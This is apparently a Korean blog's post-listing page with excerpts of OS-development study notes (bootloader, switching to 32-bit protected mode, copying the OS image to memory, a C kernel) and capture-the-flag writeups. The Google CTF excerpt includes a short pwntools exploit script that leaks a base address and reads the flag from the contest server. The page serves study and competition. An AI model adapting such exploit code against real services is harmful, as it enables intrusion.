본문 바로가기

분류 전체보기

(66)
7장. C언어로 커널 작성 업로드 안한 기간동안 OS는 꾸준히 공부하는 중에 있다. 양이 생각보다 많아, 모든 정보를 언제 다 업로드할지 걱정되지만 꾸준히 정리하여 업로드를 진행해보겠다. Ⅰ. C 소스 파일 추가와 보호 모드 엔트리 포인트 통합 보호 모드 커널 디렉터리에 C 소스 파일을 추가하고 자동으로 포함하여 빌드하는 방법에 대해 작성되어 있다. 환영 메시지를 출력하는 C코드를 추가하여, 보호 모드 엔트리 포인트와 통합해볼 예정이다. 1. C 소스 파일 추가 여러 소스 파일에서 공통으로 사용한 헤더 파일 생성 해당 헤더 파일은 보호 모드 커널 전반에 걸쳐 사용한다. 기본 데이터 타입과 자료구조를 정의하는데 사용한다. 1.Kernel32의 하위 디렉토리인 Source에 Types.h 파일을 생성한다. #ifndef __TYPES..
2023 HTB CTF Writeup Ⅰ. 개요(KOR 기준) 07.14 22:00  ~  07.17 05:003문제 CLEARⅡ. 풀이1. [Reversing] DrillingPlatform (1) 문제 지문Welcome to the latest and greatest in Vitralium mining technology. Our newest rig can penetrate depths never before reached! Unfortunately, we haven't yet been able to locate any. Can you get into the workings of the machine and find out where we need to drill?(2) 풀이주어진 바이너리를 디버깅하여 string만 확인해보면 flag를..
2023 Google CTF writeup (Pwnable) Ⅰ. 개요2023 ~ 진행pwnable 문제 중 2문제 CLEAR Ⅱ. Writeupfrom pwn import *p = remote(b"wfw1.2023.ctfcompetition.com", 1337)#p = process(b"./chal")p.recvuntil(b"shot.\\n")input(">")BaseAddr = int(p.recvuntil(b"-")[:-1].decode('ascii'), 16)FlagAddr = BaseAddr + 0x21E0print(hex(FlagAddr))p.recvuntil(b"expire\\n")payload = hex(FlagAddr).encode()payload += b" 50"print(payload)p.send(payload)p.interactive()
6. 32비트 보호 모드로 전환 Ⅰ. 개요 리얼 모드에서 보호모드로 전환하려면, 크게 6단계를 거쳐야 한다. 상위 2단계는 보호 모드 전환에 필요한 자료구조를 생성하는 단계이다. 나머지 4단계는 생성된 자료구조를 프로세서에 설정하는 단계이다. 세그먼트 디스크립터 생성 → GDT 정보 생성 → 프로세서에 GDT 정보 설정 → CR0 컨트롤 레지스터 설정 → jmp 명령으로 CS 세그먼트 셀렉터 변경과 보호 모드로 전환 → 각종 세그먼트 셀렉터 및 스택 초기화 (32bit 보호 모드) → 보호 모드 커널 실행 보호 모드에서 반드시 생성해야 하는 자료구조는 세그먼트 디스크립터와 GDT이다. Ⅱ. 세그먼트 디스크립터 생성 1. 개요 세그먼테이션 기법에서 세그먼트의 정보를 나타내는 자료구조를 의미한다. 세그먼트: 메모리 공간을 임의의 크기로 나..
5. OS이미지 메모리에 복사 Ⅰ. 1024 섹터 크기의 이미지를 메모리로 복사하는 코드 1. C언어 #include int main(){ int iTotalSectorCount = 1024; int iSectorNumber = 2; int iHeadMumber = 0; int iTrackNumber = 0; // 실제 이미지를 복사할 address(물리주소) char* pcTargetAddress = (char*) 0x1000; while(1){ //전체 섹터 수를 하나씩 감소시키면서 0이 될때까지 섹터를 복사 if(iTotalSectorCount == 0){ break; } iTotalSectorCount = iTotalSectorCount - 1; // 1섹터를 읽어들여서 메모리 어드레스에 복사 // BIOSReadOneSect..
4. 32비트 보호 모드로 전환 Ⅰ. 개요 리얼 모드에서 보호모드로 전환하려면, 크게 6단계를 거쳐야 한다. 상위 2단계는 보호 모드 전환에 필요한 자료구조를 생성하는 단계이다. 나머지 4단계는 생성된 자료구조를 프로세서에 설정하는 단계이다. 세그먼트 디스크립터 생성 → GDT 정보 생성 → 프로세서에 GDT 정보 설정 → CR0 컨트롤 레지스터 설정 → jmp 명령으로 CS 세그먼트 셀렉터 변경과 보호 모드로 전환 → 각종 세그먼트 셀렉터 및 스택 초기화 (32bit 보호 모드) → 보호 모드 커널 실행 보호 모드에서 반드시 생성해야 하는 자료구조는 세그먼트 디스크립터와 GDT이다. Ⅱ. 세그먼트 디스크립터 생성 1. 개요 세그먼테이션 기법에서 세그먼트의 정보를 나타내는 자료구조를 의미한다. 세그먼트: 메모리 공간을 임의의 크기로 나..
3. OS이미지 메모리에 복사 1. 1024 섹터 크기의 이미지를 메모리로 복사하는 코드 (1) C언어 #include int main(){ int iTotalSectorCount = 1024; int iSectorNumber = 2; int iHeadMumber = 0; int iTrackNumber = 0; // 실제 이미지를 복사할 address(물리주소) char* pcTargetAddress = (char*) 0x1000; while(1){ //전체 섹터 수를 하나씩 감소시키면서 0이 될때까지 섹터를 복사 if(iTotalSectorCount == 0){ break; } iTotalSectorCount = iTotalSectorCount - 1; // 1섹터를 읽어들여서 메모리 어드레스에 복사 // BIOSReadOneSec..
2. 간단한 부트로더 제작 본 내용은 본인 공부에 대한 정리용으로, 자세한 내용이 포함되지 않음을 참고 바랍니다. Ⅰ. 부팅과 부트로더 1. 부팅과 BIOS 부팅(Booting): PC가 켜진 후, OS가 실행되기 전까지 수행되는 일련의 작업 과정이다. BIOS(Basic Input Ouput System) 부팅 과정 중, 하드웨어와 관련된 작업이다. 보통 PC 메인보드에 ROM이나 플래시 메모리로 존재한다. 전원이 켜짐과 동시에 프로세서가 가장 먼저 실행되는 코드이다. 부팅 옵션 설정이나 시스템 전반적인 설정 값을 관리하는 역할도 겸하고 있으며, 설정 값으로 시스템을 초기화하여 OS를 실행할 수 있는 환경을 만들어주는 역할이다. BIOS가 제공하는 기능은 인터럽트를 통해, 사용할 수 있다. POST(Power On Self Te..